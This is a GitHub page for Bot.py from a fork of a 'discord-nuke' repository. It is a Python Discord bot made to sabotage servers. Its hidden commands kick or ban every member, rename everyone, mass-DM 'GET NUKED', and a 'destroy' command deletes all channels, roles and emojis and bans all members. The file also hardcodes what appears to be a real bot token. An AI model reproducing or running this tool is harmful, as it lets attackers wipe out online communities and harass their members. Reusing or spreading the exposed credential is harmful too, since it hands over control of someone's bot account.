forked from ceawinner/discord-nuke
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Bot.py
163 lines (146 loc) · 5.5 KB
/
Bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#Made by Decayer177
import discord
from discord.ext import commands
from discord.ext.commands import bot
import asyncio
import time
import random
intents = discord.Intents(messages=True, guilds=True, members=True)
# Imports the needed libs.
client = commands.Bot(command_prefix='$', intents=intents)
# Sets prefix and intents
client.remove_command("help")
@client.event
async def on_ready():
print ("Ah shit, here we go again")
@client.event
async def on_server_join(server):
print("Joining {0}".format(server.name))
####HELP COMMAND####
@client.command(pass_context=True)
async def secret(ctx):
await ctx.message.delete()
member = ctx.message.author
embed = discord.Embed(
colour = discord.Colour.blue()
)
embed.set_author(name='Secret')
embed.add_field(name='Kall', value='Kicks every member in a server', inline=False)
embed.add_field(name='Ball', value='Bans every member in a server', inline=False)
embed.add_field(name='Rall', value='Renames every member in a server', inline=False)
embed.add_field(name='Mall', value='Messages every member in a server', inline=False)
embed.add_field(name='Destroy', value='Deleted channels, remakes new ones, deletes roles, bans members, and wipes emojis. In that order', inline=False)
embed.add_field(name='Ping', value='Gives ping to client (expressed in MS)', inline=False)
embed.add_field(name='Info', value='Gives information of a user', inline=False)
await member.send(embed=embed)
#############################
####KALL COMMAND####
@client.command(pass_context=True)
async def kall(ctx):
await ctx.message.delete()
guild = ctx.message.guild
for member in list(client.get_all_members()):
try:
await guild.kick(member)
print (f"{member.name} has been kicked")
except:
print (f"{member.name} has FAILED to be kicked")
print ("Action completed: Kick all")
#############################
####BALL COMMAND####
@client.command(pass_context=True)
async def ball(ctx):
await ctx.message.delete()
guild = ctx.message.guild
for member in list(client.get_all_members()):
try:
await guild.ban(member)
print ("User " + member.name + " has been banned")
except:
pass
print ("Action completed: Ban all")
#############################
####RALL COMMAND####
@client.command(pass_context=True)
async def rall(ctx, rename_to):
await ctx.message.delete()
for member in list(client.get_all_members()):
try:
await member.edit(nick=rename_to)
print (f"{member.name} has been renamed to {rename_to}")
except:
print (f"{member.name} has NOT been renamed")
print("Action completed: Rename all")
#############################
####MALL COMMAND####
@client.command(pass_context=True)
async def mall(ctx):
await ctx.message.delete()
for member in list(client.get_all_members()):
await asyncio.sleep(0)
try:
await member.send("GET NUKED")
except:
pass
print("Action completed: Message all")
#############################
###DESTROY COMMAND####
@client.command(pass_context=True)
async def destroy(ctx):
await ctx.message.delete()
for channel in list(ctx.message.guild.channels):
try:
await channel.delete()
print (channel.name + " has been deleted")
except:
pass
guild = ctx.message.guild
channel = await guild.create_text_channel("Ez Clap")
await channel.send("GET NUKED")
for role in list(ctx.guild.roles):
try:
await role.delete()
print (f"{role.name} has been deleted")
except:
pass
for member in list(client.get_all_members()):
try:
await guild.ban(member)
print ("User " + member.name + " has been banned")
except:
pass
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
print (f"{emoji.name} has been deleted")
except:
pass
print("Action completed: Nuclear Destruction")
#############################
####PING COMMAND####
@client.command(pass_context=True)
async def ping(ctx):
await ctx.message.delete()
member = ctx.message.author
channel = ctx.message.channel
t1 = time.perf_counter()
await channel.trigger_typing()
t2 = time.perf_counter()
embed=discord.Embed(title=None, description='Ping: {}'.format(round((t2-t1)*1000)), color=0x2874A6)
await member.send(embed=embed)
print("Action completed: Server ping")
#############################
####INFO COMMAND####
@client.command(pass_context=True)
async def info(ctx, member: discord.Member=None):
await ctx.message.delete()
member = ctx.message.author
channel = ctx.message.channel
if member is None:
pass
else:
await channel.send("**The user's name is: {}**".format(member.name) + "\n**The user's ID is: {}**".format(member.id) + "\n**The user's current status is: {}**".format(member.status) + "\n**The user's highest role is: {}**".format(member.top_role) + "\n**The user joined at: {}**".format(member.joined_at))
print("Action completed: User Info")
#############################
client.run("ODU1Njg5Mzg1NTI5MDQ5MTA4.YM2I1w.ciJXObjgaaGDYNES2Ilpzh4fOFM")
# Place your Bot's token here